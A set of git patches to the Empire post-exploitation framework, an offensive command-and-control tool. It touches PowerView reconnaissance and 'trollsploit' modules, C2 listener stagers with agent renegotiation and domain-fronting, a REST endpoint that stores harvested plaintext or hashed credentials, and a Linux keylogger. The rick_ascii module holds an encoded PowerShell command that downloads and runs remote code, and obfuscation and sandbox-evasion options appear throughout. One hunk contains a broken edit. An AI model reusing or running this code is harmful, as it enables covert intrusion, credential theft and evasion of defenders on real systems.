+            script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
         return script
diff --git a/lib/modules/powershell/situational_awareness/network/powerview/set_ad_object.py b/lib/modules/powershell/situational_awareness/network/powerview/set_ad_object.py
index 3c6379e..dfcd952 100644
--- a/lib/modules/powershell/situational_awareness/network/powerview/set_ad_object.py
+++ b/lib/modules/powershell/situational_awareness/network/powerview/set_ad_object.py
@@ -124,5 +124,5 @@ class Module:
 
         script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
         if obfuscate:
-            script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
+            script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
         return script
diff --git a/lib/modules/powershell/situational_awareness/network/powerview/share_finder.py b/lib/modules/powershell/situational_awareness/network/powerview/share_finder.py
index ba45584..3589dac 100644
--- a/lib/modules/powershell/situational_awareness/network/powerview/share_finder.py
+++ b/lib/modules/powershell/situational_awareness/network/powerview/share_finder.py
@@ -122,5 +122,5 @@ class Module:
 
         script += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
         if obfuscate:
-            script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
+            script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
         return script
diff --git a/lib/modules/powershell/situational_awareness/network/powerview/user_hunter.py b/lib/modules/powershell/situational_awareness/network/powerview/user_hunter.py
index 05631cd..a1d2d15 100644
--- a/lib/modules/powershell/situational_awareness/network/powerview/user_hunter.py
+++ b/lib/modules/powershell/situational_awareness/network/powerview/user_hunter.py
@@ -158,5 +158,5 @@ class Module:
 
         script += ' | fl | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
         if obfuscate:
-            script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
+            script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
         return script
diff --git a/lib/modules/powershell/situational_awareness/network/reverse_dns.py b/lib/modules/powershell/situational_awareness/network/reverse_dns.py
index 26e3069..287c4eb 100644
--- a/lib/modules/powershell/situational_awareness/network/reverse_dns.py
+++ b/lib/modules/powershell/situational_awareness/network/reverse_dns.py
@@ -92,6 +92,6 @@ class Module:
         # only return objects where HostName is not an IP (i.e. the address resolves)
         scriptEnd += " | % {try{$entry=$_; $ipObj = [System.Net.IPAddress]::parse($entry.HostName); if(-not [System.Net.IPAddress]::tryparse([string]$_.HostName, [ref]$ipObj)) { $entry }} catch{$entry} } | Select-Object HostName, AddressList | ft -autosize | Out-String | %{$_ + \"`n\"}"
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script
diff --git a/lib/modules/powershell/situational_awareness/network/smbautobrute.py b/lib/modules/powershell/situational_awareness/network/smbautobrute.py
index 8da9d7f..a8765fa 100644
--- a/lib/modules/powershell/situational_awareness/network/smbautobrute.py
+++ b/lib/modules/powershell/situational_awareness/network/smbautobrute.py
@@ -130,6 +130,6 @@ class Module:
                     else:
                         scriptEnd += " -" + str(option) + " " + str(values['Value'])
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script
diff --git a/lib/modules/powershell/situational_awareness/network/smbscanner.py b/lib/modules/powershell/situational_awareness/network/smbscanner.py
index b784693..c5c133d 100644
--- a/lib/modules/powershell/situational_awareness/network/smbscanner.py
+++ b/lib/modules/powershell/situational_awareness/network/smbscanner.py
@@ -133,6 +133,6 @@ class Module:
         scriptEnd += "| Out-String | %{$_ + \"`n\"};"
         scriptEnd += "'Invoke-SMBScanner completed'"
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script
diff --git a/lib/modules/powershell/trollsploit/get_schwifty.py b/lib/modules/powershell/trollsploit/get_schwifty.py
index 90abefb..6f358e1 100644
--- a/lib/modules/powershell/trollsploit/get_schwifty.py
+++ b/lib/modules/powershell/trollsploit/get_schwifty.py
@@ -99,5 +99,5 @@ Function Get-Schwifty
 
         script += "; 'Agent is getting schwifty!'"
         if obfuscate:
-            script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
+            script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
         return script
diff --git a/lib/modules/powershell/trollsploit/message.py b/lib/modules/powershell/trollsploit/message.py
index 78c31be..76b0635 100644
--- a/lib/modules/powershell/trollsploit/message.py
+++ b/lib/modules/powershell/trollsploit/message.py
@@ -95,5 +95,5 @@ Invoke-Message"""
                     else:
                         script += " -" + str(option) + " \"" + str(values['Value'].strip("\"")) + "\""
         if obfuscate:
-            script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
+            script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
         return script
diff --git a/lib/modules/powershell/trollsploit/process_killer.py b/lib/modules/powershell/trollsploit/process_killer.py
index 25ab191..89506f4 100644
--- a/lib/modules/powershell/trollsploit/process_killer.py
+++ b/lib/modules/powershell/trollsploit/process_killer.py
@@ -110,5 +110,5 @@ Invoke-ProcessKiller"""
                         script += " -" + str(option) + " " + str(values['Value']) 
         
         if obfuscate:
-            script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
+            script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
         return script
diff --git a/lib/modules/powershell/trollsploit/rick_ascii.py b/lib/modules/powershell/trollsploit/rick_ascii.py
index 9cbdef0..774d580 100644
--- a/lib/modules/powershell/trollsploit/rick_ascii.py
+++ b/lib/modules/powershell/trollsploit/rick_ascii.py
@@ -55,5 +55,5 @@ class Module:
         # iex (New-Object Net.WebClient).DownloadString("http://bit.ly/e0Mw9w")
         script = "$Null = Start-Process -WindowStyle Maximized -FilePath \"C:\Windows\System32\WindowsPowerShell\\v1.0\powershell.exe\" -ArgumentList \"-enc aQBlAHgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AYgBpAHQALgBsAHkALwBlADAATQB3ADkAdwAiACkA\"; 'Client Rick-Asciied!'"
         if obfuscate:
-            script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
+            script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
         return script
diff --git a/lib/modules/powershell/trollsploit/rick_astley.py b/lib/modules/powershell/trollsploit/rick_astley.py
index 733aa87..6e19f56 100644
--- a/lib/modules/powershell/trollsploit/rick_astley.py
+++ b/lib/modules/powershell/trollsploit/rick_astley.py
@@ -72,6 +72,6 @@ class Module:
 
         scriptEnd += ' | Out-String | %{$_ + \"`n\"};"`n'+str(moduleName)+' completed!"'
         if obfuscate:
-            scriptEnd = helpers.obfuscate(psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
+            scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
         script += scriptEnd
         return script
diff --git a/lib/modules/powershell/trollsploit/thunderstruck.py b/lib/modules/powershell/trollsploit/thunderstruck.py
index 041b259..00b426e 100644
--- a/lib/modules/powershell/trollsploit/thunderstruck.py
+++ b/lib/modules/powershell/trollsploit/thunderstruck.py
@@ -99,5 +99,5 @@ Function Invoke-Thunderstruck
 
         script += "; 'Agent Thunderstruck.'"
         if obfuscate:
-            script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
+            script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
         return script
diff --git a/lib/modules/powershell/trollsploit/voicetroll.py b/lib/modules/powershell/trollsploit/voicetroll.py
index 2d0eb80..1e7e021 100644
--- a/lib/modules/powershell/trollsploit/voicetroll.py
+++ b/lib/modules/powershell/trollsploit/voicetroll.py
@@ -85,5 +85,5 @@ Invoke-VoiceTroll"""
                     else:
                         script += " -" + str(option) + " \"" + str(values['Value'].strip("\"")) + "\""
         if obfuscate:
-            script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
+            script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
         return script
diff --git a/lib/modules/powershell/trollsploit/wallpaper.py b/lib/modules/powershell/trollsploit/wallpaper.py
index cdb21c5..d970f24 100644
--- a/lib/modules/powershell/trollsploit/wallpaper.py
+++ b/lib/modules/powershell/trollsploit/wallpaper.py
@@ -143,5 +143,5 @@ namespace Wallpaper
         
         script += "; 'Set-Wallpaper executed'"
         if obfuscate:
-            script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
+            script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
         return script
diff --git a/lib/modules/powershell/trollsploit/wlmdr.py b/lib/modules/powershell/trollsploit/wlmdr.py
index 62d76a9..f647c6d 100644
--- a/lib/modules/powershell/trollsploit/wlmdr.py
+++ b/lib/modules/powershell/trollsploit/wlmdr.py
@@ -108,5 +108,5 @@ Invoke-Wlrmdr"""
                     else:
                         script += " -" + str(option) + " \"" + str(values['Value'].strip("\"")) + "\""
         if obfuscate:
-            script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
+            script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
         return script

From 0f1bbc2ac83b314b836e620cb87ae151d5c46bf2 Mon Sep 17 00:00:00 2001
From: Dakota Nelson <Dakota.Nelson@students.olin.edu>
Date: Sat, 21 Oct 2017 20:40:55 +0100
Subject: [PATCH 28/50] Add REST endpoint to allow adding creds to DB via POST
 request

---
 empire | 59 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++--
 1 file changed, 57 insertions(+), 2 deletions(-)

diff --git a/empire b/empire
index 79e6759..5cbfc42 100755
--- a/empire
+++ b/empire
@@ -10,8 +10,7 @@ from Crypto.Random import random
 import ssl
 
 # Empire imports
-from lib.common import empire
-from lib.common import helpers
+from lib.common import empire, helpers
 
 global serverExitCommand
 serverExitCommand = 'restart'
@@ -134,6 +133,7 @@ def get_permanent_token(conn):
 #    GET      http://localhost:1337/api/reporting/msg/Z      return all logged events matching message Z, wildcards accepted
 #
 #    GET      http://localhost:1337/api/creds                return stored credentials
+#    POST     http://localhost:1337/api/creds                add creds to the database
 #
 #    GET      http://localhost:1337/api/admin/login          retrieve the API token given the correct username and password
 #    GET      http://localhost:1337/api/admin/permanenttoken retrieve the permanent API token, generating/storing one if it doesn't already exist
@@ -1039,6 +1039,61 @@ def start_restful_api(empireMenu, suppress=False, username=None, password=None,
 
         return jsonify({'creds' : creds})
 
+    @app.route('/api/creds', methods=['POST'])
+    def add_creds():
+        """
+        Adds credentials to the database
+        """
+        if not request.json or not 'credentials' in request.json:
+            abort(400)
+
+        creds = request.json['credentials']
+
+        required_fields = ["credtype", "domain", "username", "password", "host"]
+        optional_fields = ["OS", "notes", "sid"]
+
+        for cred in creds:
+            # ensure every credential given to us has all the required fields
+            if not all (k in cred for k in required_fields):
+                return make_response(jsonify({'error':'invalid credential %s' %(cred)}), 400)
+
+            # ensure the type is either "hash" or "plaintext"
+            if not (cred['credtype'] == u'hash' or cred['credtype'] == u'plaintext'):
+                return make_response(jsonify({'error':'invalid credential type in %s, must be "hash" or "plaintext"' %(cred)}), 400)
+
+        # other than that... just assume everything is valid
+
+        # this would be way faster if batched but will work for now
+        for cred in creds:
+            # get the optional stuff, if it's there
+            try:
+                os = cred['os']
+            except KeyError:
+                os = ''
+
+            try:
+                sid = cred['sid']
+            except KeyError:
+                sid = ''
+
+            try:
+                notes = cred['notes']
+            except KeyError:
+                notes = ''
+
+            main.credentials.add_credential(
+                cred['credtype'],
+                cred['domain'],
+                cred['username'],
+                cred['password'],
+                cred['host'],
+                os,
+                sid,
+                notes
+            )
+
+        return jsonify({'success': '%s credentials added' % len(creds)})
+
 
     @app.route('/api/reporting', methods=['GET'])
     def get_reporting():

From f629eb3e08c0befd6b3a14d48c262dcce691794f Mon Sep 17 00:00:00 2001
From: xorrior <chris@xorrior.com>
Date: Sun, 22 Oct 2017 17:18:51 -0400
Subject: [PATCH 29/50] Add missing slack token and slack channel options for
 dbx listener

---
 lib/listeners/dbx.py | 10 ++++++++++
 1 file changed, 10 insertions(+)

diff --git a/lib/listeners/dbx.py b/lib/listeners/dbx.py
index 1f91e3d..4f99a6b 100755
--- a/lib/listeners/dbx.py
+++ b/lib/listeners/dbx.py
@@ -111,6 +111,16 @@ class Listener:
                 'Description'   :   'Hours for the agent to operate (09:00-17:00).',
                 'Required'      :   False,
                 'Value'         :   ''
+            },
+            'SlackToken' : {
+                'Description'   :   'Your SlackBot API token to communicate with your Slack instance.',
+                'Required'      :   False,
+                'Value'         :   ''
+            },
+            'SlackChannel' : {
+                'Description'   :   'The Slack channel or DM that notifications will be sent to.',
+                'Required'      :   False,
+                'Value'         :   '#general'
             }
         }
 

From 95d8142b39d0cb701db398853ab9f3e8ca491ac1 Mon Sep 17 00:00:00 2001
From: xorrior <chris@xorrior.com>
Date: Mon, 23 Oct 2017 21:17:08 -0400
Subject: [PATCH 30/50] Remove debug message from xkeylogger module

---
 lib/modules/python/collection/linux/xkeylogger.py | 5 -----
 1 file changed, 5 deletions(-)

diff --git a/lib/modules/python/collection/linux/xkeylogger.py b/lib/modules/python/collection/linux/xkeylogger.py
index 61f3437..090d23e 100644
--- a/lib/modules/python/collection/linux/xkeylogger.py
+++ b/lib/modules/python/collection/linux/xkeylogger.py
@@ -782,11 +782,6 @@ def to_keysyms(released, group, level):
     return u''.join(keys)
 run()
 
-x = 0
-while x < 4:
-    sleep(6)
-    job_message_buffer('test '+str(x)+'\\n')
-    x += 1
 job_message_buffer('[!] Keylogger exited\\n')
 
 """

From 6243a6b094e1f1c547036c50b55e4be629cb40e5 Mon Sep 17 00:00:00 2001
From: xorrior <chris@xorrior.com>
Date: Mon, 23 Oct 2017 21:53:42 -0400
Subject: [PATCH 31/50] Fixed orphaned agent restaging for powershell

---
 lib/listeners/http.py | 18 ++++++++++--------
 1 file changed, 10 insertions(+), 8 deletions(-)

diff --git a/lib/listeners/http.py b/lib/listeners/http.py
index 610d0a1..ab79c31 100644
--- a/lib/listeners/http.py
+++ b/lib/listeners/http.py
@@ -708,6 +708,7 @@ class Listener:
                                 }
                                 catch [System.Net.WebException]{
                                     # exception posting data...
+                                    Start-Negotiate -S "$ser" -SK $SK -UA $ua
                                 }
                             }
                         }
@@ -801,13 +802,14 @@ def send_message(packets=None):
         self.app = app
 
 
-        @app.route('/<string:stagerURI>')
-        def send_stager(stagerURI):
-            if stagerURI:
-                launcher = self.mainMenu.stagers.generate_launcher(listenerName, language='powershell', encode=False, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds)
-                return launcher
-            else:
-                pass
+        #@app.route('/<string:stagerURI>')
+        #def send_stager(stagerURI):
+            #if stagerURI:
+                #launcher = self.mainMenu.stagers.generate_launcher(listenerName, language='powershell', encode=False, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds)
+                #return launcher
+            #else:
+                #pass
+
         @app.before_request
         def check_ip():
             """
@@ -882,7 +884,7 @@ def send_message(packets=None):
 
                                 if 'not in cache' in results:
                                     # signal the client to restage
-                                    print helpers.color("[*] Orphaned agent from %s, signaling retaging" % (clientIP))
+                                    print helpers.color("[*] Orphaned agent from %s, signaling restaging" % (clientIP))
                                     return make_response(self.default_response(), 401)
                                 else:
                                     return make_response(self.default_response(), 200)

From dc0f43ee5d9e5e13175d72d2311d54a98fa73b1a Mon Sep 17 00:00:00 2001
From: xorrior <chris@xorrior.com>
Date: Mon, 23 Oct 2017 22:03:22 -0400
Subject: [PATCH 32/50] Updated all listeners for renegotiation

---
 lib/listeners/http.py         | 5 ++++-
 lib/listeners/http_com.py     | 4 ++++
 lib/listeners/http_foreign.py | 4 ++++
 lib/listeners/http_hop.py     | 4 ++++
 4 files changed, 16 insertions(+), 1 deletion(-)

diff --git a/lib/listeners/http.py b/lib/listeners/http.py
index ab79c31..9b9767d 100644
--- a/lib/listeners/http.py
+++ b/lib/listeners/http.py
@@ -708,7 +708,10 @@ class Listener:
                                 }
                                 catch [System.Net.WebException]{
                                     # exception posting data...
-                                    Start-Negotiate -S "$ser" -SK $SK -UA $ua
+                                    if ($_.Exception.GetBaseException().Response.statuscode -eq 401) {
+                                        # restart key negotiation
+                                        Start-Negotiate -S "$ser" -SK $SK -UA $ua
+                                    }
                                 }
                             }
                         }
diff --git a/lib/listeners/http_com.py b/lib/listeners/http_com.py
index 59833de..4117bf3 100644
--- a/lib/listeners/http_com.py
+++ b/lib/listeners/http_com.py
@@ -460,6 +460,10 @@ class Listener:
                                 }
                                 catch [System.Net.WebException]{
                                     # exception posting data...
+                                    if ($_.Exception.GetBaseException().Response.statuscode -eq 401) {
+                                        # restart key negotiation
+                                        Start-Negotiate -S "$ser" -SK $SK -UA $ua
+                                    }
                                 }
                             }
                         }
diff --git a/lib/listeners/http_foreign.py b/lib/listeners/http_foreign.py
index 1228b55..a7ce61f 100644
--- a/lib/listeners/http_foreign.py
+++ b/lib/listeners/http_foreign.py
@@ -451,6 +451,10 @@ class Listener:
                                 }
                                 catch [System.Net.WebException]{
                                     # exception posting data...
+                                    if ($_.Exception.GetBaseException().Response.statuscode -eq 401) {
+                                        # restart key negotiation
+                                        Start-Negotiate -S "$ser" -SK $SK -UA $ua
+                                    }
                                 }
                             }
                         }
diff --git a/lib/listeners/http_hop.py b/lib/listeners/http_hop.py
index cd44cda..f6d5044 100644
--- a/lib/listeners/http_hop.py
+++ b/lib/listeners/http_hop.py
@@ -419,6 +419,10 @@ class Listener:
                                 }
                                 catch [System.Net.WebException]{
                                     # exception posting data...
+                                    if ($_.Exception.GetBaseException().Response.statuscode -eq 401) {
+                                        # restart key negotiation
+                                        Start-Negotiate -S "$ser" -SK $SK -UA $ua
+                                    }
                                 }
                             }
                         }

From 4106db3279e546722d546e65098023644195eee5 Mon Sep 17 00:00:00 2001
From: xorrior <chris@xorrior.com>
Date: Tue, 24 Oct 2017 02:45:41 -0400
Subject: [PATCH 33/50] Fixed renegotation loop in stager

---
 data/agent/stagers/http.py    | 22 ++++++++++++----------
 lib/listeners/http.py         |  4 ++++
 lib/listeners/http_foreign.py |  4 +++-
 lib/listeners/http_hop.py     |  4 +++-
 4 files changed, 22 insertions(+), 12 deletions(-)

diff --git a/data/agent/stagers/http.py b/data/agent/stagers/http.py
index 0a06c5a..99b6de6 100644
--- a/data/agent/stagers/http.py
+++ b/data/agent/stagers/http.py
@@ -18,6 +18,8 @@ import socket
 import subprocess
 from binascii import hexlify
 
+
+    
 LANGUAGE = {
     'NONE' : 0,
     'POWERSHELL' : 1,
@@ -335,10 +337,10 @@ class AES(object):
 
             tt = tk[KC - 1]
             tk[0] ^= ((self.S[(tt >> 16) & 0xFF] << 24) ^
-                      (self.S[(tt >>  8) & 0xFF] << 16) ^
-                      (self.S[ tt        & 0xFF] <<  8) ^
-                       self.S[(tt >> 24) & 0xFF]        ^
-                      (self.rcon[rconpointer] << 24))
+                    (self.S[(tt >>  8) & 0xFF] << 16) ^
+                    (self.S[ tt        & 0xFF] <<  8) ^
+                    self.S[(tt >> 24) & 0xFF]        ^
+                    (self.rcon[rconpointer] << 24))
             rconpointer += 1
 
             if KC != 8:
@@ -352,9 +354,9 @@ class AES(object):
                 tt = tk[KC // 2 - 1]
 
                 tk[KC // 2] ^= (self.S[ tt        & 0xFF]        ^
-                               (self.S[(tt >>  8) & 0xFF] <<  8) ^
-                               (self.S[(tt >> 16) & 0xFF] << 16) ^
-                               (self.S[(tt >> 24) & 0xFF] << 24))
+                            (self.S[(tt >>  8) & 0xFF] <<  8) ^
+                            (self.S[(tt >> 16) & 0xFF] << 16) ^
+                            (self.S[(tt >> 24) & 0xFF] << 24))
 
                 for i in xrange(KC // 2 + 1, KC):
                     tk[i] ^= tk[i - 1]
@@ -372,9 +374,9 @@ class AES(object):
             for j in xrange(0, 4):
                 tt = self._Kd[r][j]
                 self._Kd[r][j] = (self.U1[(tt >> 24) & 0xFF] ^
-                                  self.U2[(tt >> 16) & 0xFF] ^
-                                  self.U3[(tt >>  8) & 0xFF] ^
-                                  self.U4[ tt        & 0xFF])
+                                self.U2[(tt >> 16) & 0xFF] ^
+                                self.U3[(tt >>  8) & 0xFF] ^
+                                self.U4[ tt        & 0xFF])
 
     def encrypt(self, plaintext):
         'Encrypt a block of plain text using the AES block cipher.'
diff --git a/lib/listeners/http.py b/lib/listeners/http.py
index 9b9767d..01149a2 100644
--- a/lib/listeners/http.py
+++ b/lib/listeners/http.py
@@ -762,6 +762,10 @@ def send_message(packets=None):
     except urllib2.HTTPError as HTTPError:
         # if the server is reached, but returns an erro (like 404)
         missedCheckins = missedCheckins + 1
+        #if signaled for restaging, exit.
+        if HTTPError.code == 401:
+            sys.exit(0)
+        
         return (HTTPError.code, '')
 
     except urllib2.URLError as URLerror:
diff --git a/lib/listeners/http_foreign.py b/lib/listeners/http_foreign.py
index a7ce61f..2aceb53 100644
--- a/lib/listeners/http_foreign.py
+++ b/lib/listeners/http_foreign.py
@@ -502,7 +502,9 @@ def send_message(packets=None):
     except urllib2.HTTPError as HTTPError:
         # if the server is reached, but returns an erro (like 404)
         missedCheckins = missedCheckins + 1
-        return (HTTPError.code, '')
+        r#if signaled for restaging, exit.
+        if HTTPError.code == 401:
+            sys.exit(0)
 
     except urllib2.URLError as URLerror:
         # if the server cannot be reached
diff --git a/lib/listeners/http_hop.py b/lib/listeners/http_hop.py
index f6d5044..16106f7 100644
--- a/lib/listeners/http_hop.py
+++ b/lib/listeners/http_hop.py
@@ -470,7 +470,9 @@ def send_message(packets=None):
     except urllib2.HTTPError as HTTPError:
         # if the server is reached, but returns an erro (like 404)
         missedCheckins = missedCheckins + 1
-        return (HTTPError.code, '')
+        #if signaled for restaging, exit.
+        if HTTPError.code == 401:
+            sys.exit(0)
 
     except urllib2.URLError as URLerror:
         # if the server cannot be reached

From 9093b3df9e04dbdc15de5cc28e3efb0cdaedda1e Mon Sep 17 00:00:00 2001
From: xorrior <chris@xorrior.com>
Date: Tue, 24 Oct 2017 09:43:51 -0400
Subject: [PATCH 34/50] Fix for #774

---
 lib/stagers/multi/pyinstaller.py | 31 ++++++++++++++-----------------
 1 file changed, 14 insertions(+), 17 deletions(-)

diff --git a/lib/stagers/multi/pyinstaller.py b/lib/stagers/multi/pyinstaller.py
index f3a9ba0..b59605a 100644
--- a/lib/stagers/multi/pyinstaller.py
+++ b/lib/stagers/multi/pyinstaller.py
@@ -1,4 +1,5 @@
 from lib.common import helpers
+import os
 
 """
 
@@ -42,21 +43,21 @@ class Stager:
 				'Required'      :   True,
 				'Value'         :   ''
 			},
-      'Language' : {
-          'Description'   :   'Language of the stager to generate.',
-          'Required'      :   True,
-          'Value'         :   'python'
-      },
+			'Language' : {
+				'Description'   :   'Language of the stager to generate.',
+				'Required'      :   True,
+				'Value'         :   'python'
+			},
 			'BinaryFile' : {
 				'Description'   :   'File to output launcher to.',
 				'Required'      :   True,
 				'Value'         :   '/tmp/empire'
 			},
-      'SafeChecks' : {
-          'Description'   :   'Switch. Checks for LittleSnitch or a SandBox, exit the staging process if true. Defaults to True.',
-          'Required'      :   True,
-          'Value'         :   'True'
-      },
+			'SafeChecks' : {
+				'Description'   :   'Switch. Checks for LittleSnitch or a SandBox, exit the staging process if true. Defaults to True.',
+				'Required'      :   True,
+				'Value'         :   'True'
+			},
 			'Base64' : {
 				'Description'   :   'Switch. Base64 encode the output. Defaults to False.',
 				'Required'      :   True,
@@ -116,17 +117,13 @@ class Stager:
 				#installPath_Str = cur.fetchone()[0]
 				cur.close()
 				
-				import os
-#<<<<<<< HEAD:lib/stagers/osx/pyinstaller.py
+				
 				stagerFFP_Str = self.mainMenu.installPath + "/data/agent/stagers/http.py"
-				#stagerFFP_Str = os.path.join(installPath_Str, "data/agent/stager.py")
-#=======
-				stagerFFP_Str = os.path.join(installPath_Str, "data/agent/stagers/http.py")
-#>>>>>>> ec606351797a9f97676a33767f38e341bd1e18bf:lib/stagers/multi/pyinstaller.py
+				stagerFFP_Str = os.path.join(self.mainMenu.installPath, "data/agent/stagers/http.py")
+
 				filesToExtractImportsFrom_List.append(stagerFFP_Str)
 				
 				agentFFP_Str = self.mainMenu.installPath + "/data/agent/agent.py"
-				#agentFFP_Str = os.path.join(installPath_Str, "data/agent/agent.py")
 				filesToExtractImportsFrom_List.append(agentFFP_Str)
 				
 				imports_List = []

From 2e5d8055b253d7b66141b8e83338fccf5007e9d6 Mon Sep 17 00:00:00 2001
From: xorrior <chris@xorrior.com>
Date: Tue, 24 Oct 2017 10:04:33 -0400
Subject: [PATCH 35/50] Removed additional comments in pyinstaller module

---
 lib/stagers/multi/pyinstaller.py | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/lib/stagers/multi/pyinstaller.py b/lib/stagers/multi/pyinstaller.py
index b59605a..6f4b78b 100644
--- a/lib/stagers/multi/pyinstaller.py
+++ b/lib/stagers/multi/pyinstaller.py
@@ -6,7 +6,8 @@ import os
 Install steps...
 
 - install pyInstaller
--- try: apt-get -y install python-pip && pip install pyinstaller
+-- try: 
+
 
 - copy into stagers directory
 -- ./Empire/lib/stagers/
@@ -113,8 +114,7 @@ class Stager:
 				self.conn = self.mainMenu.conn
 				# pull out the code install path from the database config
 				cur = self.conn.cursor()
-				#cur.execute("SELECT install_path FROM config")
-				#installPath_Str = cur.fetchone()[0]
+				
 				cur.close()
 				
 				

From c8217e87cf333797eb363b782f769cc4b2f64b0b Mon Sep 17 00:00:00 2001
From: rvrsh3ll <steveborosh@gmail.com>
Date: Tue, 24 Oct 2017 10:30:03 -0400
Subject: [PATCH 36/50] Fix for stagerURI

---
 lib/listeners/http.py | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/lib/listeners/http.py b/lib/listeners/http.py
index 263228e..39a2215 100644
--- a/lib/listeners/http.py
+++ b/lib/listeners/http.py
@@ -107,7 +107,7 @@ class Listener:
                 'Value'         :   'Microsoft-IIS/7.5'
             },
             'StagerURI' : {
-                'Description'   :   'URI for the stager. Example: stager.php',
+                'Description'   :   'URI for the stager. Must use /download/. Example: /download/stager.php',
                 'Required'      :   False,
                 'Value'         :   ''
             },
@@ -801,9 +801,9 @@ def send_message(packets=None):
         self.app = app
 
 
-        @app.route('/<string:stagerURI>')
-        def send_stager(stagerURI):
-            if stagerURI:
+        @app.route('/download/<stager>')
+        def send_stager(stager):
+            if stager:
                 launcher = self.mainMenu.stagers.generate_launcher(listenerName, language='powershell', encode=False, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds)
                 return launcher
             else:

From 627aaf268d22257bb5b1769e461c0b09b430da2c Mon Sep 17 00:00:00 2001
From: rvrsh3ll <steveborosh@gmail.com>
Date: Tue, 24 Oct 2017 10:31:14 -0400
Subject: [PATCH 37/50] Fix stagerURI

---
 lib/listeners/http.py | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/lib/listeners/http.py b/lib/listeners/http.py
index 610d0a1..4163bac 100644
--- a/lib/listeners/http.py
+++ b/lib/listeners/http.py
@@ -295,10 +295,10 @@ class Listener:
                     for header in customHeaders:
                         headerKey = header.split(':')[0]
                         headerValue = header.split(':')[1]
-			#If host header defined, assume domain fronting is in use and add a call to the base URL first
-			#this is a trick to keep the true host name from showing in the TLS SNI portion of the client hello
-			if headerKey.lower() == "host":
-			    stager += helpers.randomize_capitalization("try{$ig=$WC.DownloadData($ser)}catch{};")
+            #If host header defined, assume domain fronting is in use and add a call to the base URL first
+            #this is a trick to keep the true host name from showing in the TLS SNI portion of the client hello
+            if headerKey.lower() == "host":
+                stager += helpers.randomize_capitalization("try{$ig=$WC.DownloadData($ser)}catch{};")
                         stager += helpers.randomize_capitalization("$wc.Headers.Add(")
                         stager += "\"%s\",\"%s\");" % (headerKey, headerValue)
 

From 0eb4cd02d3bd3c4f565d09fd7b8dca2bc2677a1a Mon Sep 17 00:00:00 2001
From: xorrior <chris@xorrior.com>
Date: Tue, 24 Oct 2017 11:10:59 -0400
Subject: [PATCH 38/50] Fix tabs in empire.py and http.py

---
 lib/common/empire.py  | 2 +-
 lib/listeners/http.py | 9 +++++----
 2 files changed, 6 insertions(+), 5 deletions(-)

diff --git a/lib/common/empire.py b/lib/common/empire.py
index 9b01345..db696bc 100644
--- a/lib/common/empire.py
+++ b/lib/common/empire.py
@@ -2893,7 +2893,7 @@ class ListenersMenu(SubMenu):
 
     def do_launcher(self, line):
         "Generate an initial launcher for a listener."
-
+        
         parts = line.strip().split()
         if len(parts) != 2:
             print helpers.color("[!] Please enter 'launcher <language> <listenerName>'")
diff --git a/lib/listeners/http.py b/lib/listeners/http.py
index 1fe123c..c91e15c 100644
--- a/lib/listeners/http.py
+++ b/lib/listeners/http.py
